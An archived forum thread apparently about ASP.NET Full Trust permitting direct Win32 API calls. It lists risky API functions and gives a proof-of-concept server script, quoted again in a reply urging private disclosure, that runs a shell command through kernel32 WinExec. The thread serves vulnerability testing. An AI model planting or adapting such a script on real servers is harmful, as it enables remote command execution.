Asp.Net.Vulnerability: Win32 API calls (potential security problems)

Ask a Question related to ASP.NET Security, Design and Development.

  1. #1

    Default Asp.Net.Vulnerability: Win32 API calls (potential security problems)

    Asp.Net.Vulnerability: Win32 API calls (potential security problems)

    Since win32 calls are supported in Asp.Net and cannot be disabled when
    the website is running with 'Full trust', it is imperative to identify
    all potentially dangerous Win32 DLLs. Here is a short list of the ones
    we have identified whose risk needs to validated and (if required)
    write test scripts for:

    - New: CopyMemory, GetCurrentProcess, GetCurrentThread,
    GetTokenInformation, GetWindowsInformation, isNTAdmin,
    OpenProcessToken, OpenTheadToken, SendMessage
    - Compress: CopyLZFile, LZCopy
    - Crypto: CryptGetUserKey, CryptDestroyKey
    - Drives: GetLogicalDrives, GetVolumeInformation
    - EnvironmentVariables: GetEnvironmentString, GetEnvironmentVariable
    - Error: RaiseExeption, ReportFault, SetLastError
    - EventLog: OpenEventLog, ClearEventLog, ReportEvent
    - Exit: ExitWindowsEx, FatalAppExit, InitiateSystemShutdown,
    LockWorkstation
    - Files: CopyFile, CreateFile, GetFileAttributes, MoveFile, OpenFile,
    ReadFile, SetFileAttributes, SetFilePointer, SHGetFileInfo,
    TouchFileTimes, Writefile, FindFile: FindClose, FindFirstFile,
    FindNextFile
    - Heap: GetProcessHeap, HeapAlloc, HeapFree
    - Hook: CallNextHookEx, SetWindowsHookEx
    - ICMP: IcmpCreateFile, IcmpSendEcho
    - INI-Files: GetPrivateProfileSection , GetPrivateProfileString
    - Internet: FtpGetFile, InternetAttemptConnect, InternetConnect,
    InternetOpen, InternetOpenURL, InternetaReadFile,
    IsDestinationReachable, IsNetworkAlive, IsValidURL, URLdownloadtoFile
    - {List Not completed}

    Since we are not Win32 API experts (although we did manage to write a
    test script for the Kernel32 'WinExec' - see bellow) we would like ask
    for help to the more serious win32 developers which will be able to
    provide us with much more detailed and accurate information regarding
    the 'security risk' posed by each API call.

    The following is the code that we use in ANSA to test if a server is
    vulnerable.

    '************************************************* ***************
    ' ANSA:W32_execute_cmd - This test checks if it is possible to execute
    ' commands on the server using a direct Win32 API call to the
    ' kernel32 'winExec'function . For this test to work a copy of
    'cmd.exe' must
    ' be copied to the same directory containing this script
    '************************************************* ***************

    <script runat=server>

    Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal
    lpCmdLine As String, ByVal nCmdShow As Long) As Long
    Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal
    lpExistingFileName As String, ByVal lpNewFileName As String, ByVal
    bFailIfExists As Long) As Long

    public Function Run_test(mode)

    try
    Dim winObj, objProcessInfo, item, local_dir, local_copy_of_cmd,
    Target_copy_of_cmd
    Dim objStartup, objConfig, objProcess, errReturn, intProcessID,
    temp_name
    Dim FailIfExists

    Dim Cmd_to_execute = "dir"

    local_dir = left(request.servervariables("PATH_TRANSLATED"), _

    inStrRev(request.servervariables("PATH_TRANSLATED" ),"\"))
    local_copy_of_cmd = Local_dir+"cmd.exe"
    Target_copy_of_cmd =
    Environment.GetEnvironmentVariable("Temp")+"\_test .exe"

    ' Copy CMD.EXE to temp directory
    CopyFile(local_copy_of_cmd, Target_copy_of_cmd,FailIfExists)

    ' Execute Command and save results in temp file
    errReturn = WinExec(Target_copy_of_cmd + " /c " +
    cmd_to_execute, 10)


    Run_test = OK + Critical +" The server allows the remote
    execution of commands using a direct call to WinExec API!"
    catch
    Run_test = OK + low + "It was not possible to execute commands
    using cmd.exe"
    end try

    end function

    </script>

    '************************************************* ***************

    Thanks for the help

    Best regards
    Dinis Cruz Guest

  2. Similar Questions and Discussions

    1. Macromedia Flash Player Security vulnerability
      Is there a patch for the Macromedia Flash 7 vulnerability or should we simply install Flash 8 on 10,000 machines that we have?
    2. SharePoint security/vulnerability assessment?
      Does anyone have a checklist/framework for a SharePoint security/vulnerability assessment? Is any MSBA support planned for Windows SharePoint...
    3. ASP.NET Security Vulnerability Update
      Hi gang, There have been some updates to the security issue affect ASP.NET sites. Make sure your Web server admins check the page again - Windows...
    4. Asp.Net.Vulnerability: Full Trust (current security problems and possible solutions)
      At the moment the only method available to disable direct Win32 calls from Asp.Net pages (using for example: " Declare Function WinExec Lib...
    5. Asp.Net.Vulnerability: Asp.Net buffer overflows (potential security problems)
      Have anybody tested if the latest RPC vulnerabilities can be executed from an Asp.Net page running in an un-patched server? Since it is possible to...
  3. #2

    Default Re: Asp.Net.Vulnerability: Win32 API calls (potential security problems)

    Dinis ..why not forward this as it should be to [email]secure@microsoft.com[/email]

    The Microsoft Security Response Center (MSRC) draws on the hundreds of
    security professionals at Microsoft to form virtual teams that respond
    to reports of security issues with Microsoft products or technologies.
    To report a suspected vulnerability, please send e-mail to
    [email]Secure@microsoft.com[/email].

    Posting a potential vulnerablity to a public newsgroup is not showing
    good judgement for dislosure of vulnerabilities assuming these are valid.

    Report responsbility for all of our benefit on the Internet.

    Susan

    Dinis Cruz wrote:
    > Asp.Net.Vulnerability: Win32 API calls (potential security problems)
    >
    > Since win32 calls are supported in Asp.Net and cannot be disabled when
    > the website is running with 'Full trust', it is imperative to identify
    > all potentially dangerous Win32 DLLs. Here is a short list of the ones
    > we have identified whose risk needs to validated and (if required)
    > write test scripts for:
    >
    > - New: CopyMemory, GetCurrentProcess, GetCurrentThread,
    > GetTokenInformation, GetWindowsInformation, isNTAdmin,
    > OpenProcessToken, OpenTheadToken, SendMessage
    > - Compress: CopyLZFile, LZCopy
    > - Crypto: CryptGetUserKey, CryptDestroyKey
    > - Drives: GetLogicalDrives, GetVolumeInformation
    > - EnvironmentVariables: GetEnvironmentString, GetEnvironmentVariable
    > - Error: RaiseExeption, ReportFault, SetLastError
    > - EventLog: OpenEventLog, ClearEventLog, ReportEvent
    > - Exit: ExitWindowsEx, FatalAppExit, InitiateSystemShutdown,
    > LockWorkstation
    > - Files: CopyFile, CreateFile, GetFileAttributes, MoveFile, OpenFile,
    > ReadFile, SetFileAttributes, SetFilePointer, SHGetFileInfo,
    > TouchFileTimes, Writefile, FindFile: FindClose, FindFirstFile,
    > FindNextFile
    > - Heap: GetProcessHeap, HeapAlloc, HeapFree
    > - Hook: CallNextHookEx, SetWindowsHookEx
    > - ICMP: IcmpCreateFile, IcmpSendEcho
    > - INI-Files: GetPrivateProfileSection , GetPrivateProfileString
    > - Internet: FtpGetFile, InternetAttemptConnect, InternetConnect,
    > InternetOpen, InternetOpenURL, InternetaReadFile,
    > IsDestinationReachable, IsNetworkAlive, IsValidURL, URLdownloadtoFile
    > - {List Not completed}
    >
    > Since we are not Win32 API experts (although we did manage to write a
    > test script for the Kernel32 'WinExec' - see bellow) we would like ask
    > for help to the more serious win32 developers which will be able to
    > provide us with much more detailed and accurate information regarding
    > the 'security risk' posed by each API call.
    >
    > The following is the code that we use in ANSA to test if a server is
    > vulnerable.
    >
    > '************************************************* ***************
    > ' ANSA:W32_execute_cmd - This test checks if it is possible to execute
    > ' commands on the server using a direct Win32 API call to the
    > ' kernel32 'winExec'function . For this test to work a copy of
    > 'cmd.exe' must
    > ' be copied to the same directory containing this script
    > '************************************************* ***************
    >
    > <script runat=server>
    >
    > Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal
    > lpCmdLine As String, ByVal nCmdShow As Long) As Long
    > Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal
    > lpExistingFileName As String, ByVal lpNewFileName As String, ByVal
    > bFailIfExists As Long) As Long
    >
    > public Function Run_test(mode)
    >
    > try
    > Dim winObj, objProcessInfo, item, local_dir, local_copy_of_cmd,
    > Target_copy_of_cmd
    > Dim objStartup, objConfig, objProcess, errReturn, intProcessID,
    > temp_name
    > Dim FailIfExists
    >
    > Dim Cmd_to_execute = "dir"
    >
    > local_dir = left(request.servervariables("PATH_TRANSLATED"), _
    >
    > inStrRev(request.servervariables("PATH_TRANSLATED" ),"\"))
    > local_copy_of_cmd = Local_dir+"cmd.exe"
    > Target_copy_of_cmd =
    > Environment.GetEnvironmentVariable("Temp")+"\_test .exe"
    >
    > ' Copy CMD.EXE to temp directory
    > CopyFile(local_copy_of_cmd, Target_copy_of_cmd,FailIfExists)
    >
    > ' Execute Command and save results in temp file
    > errReturn = WinExec(Target_copy_of_cmd + " /c " +
    > cmd_to_execute, 10)
    >
    >
    > Run_test = OK + Critical +" The server allows the remote
    > execution of commands using a direct call to WinExec API!"
    > catch
    > Run_test = OK + low + "It was not possible to execute commands
    > using cmd.exe"
    > end try
    >
    > end function
    >
    > </script>
    >
    > '************************************************* ***************
    >
    > Thanks for the help
    >
    > Best regards
    --
    "Don't lose sight of security. Security is a state of being,
    not a state of budget. He with the most firewalls still does
    not win. Put down that honeypot and keep up to date on your patches.
    Demand better security from vendors and hold them responsible.
    Use what you have, and make sure you know how to use it properly
    and effectively."
    ~Rain Forest Puppy
    [url]http://www.wiretrip.net/rfp/txt/evolution.txt[/url]

    Susan Bradley, CPA aka Ebitz - SBS Rocks [MVP] Guest

Posting Permissions

  • You may not post new threads
  • You may post replies
  • You may not post attachments
  • You may not edit your posts

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139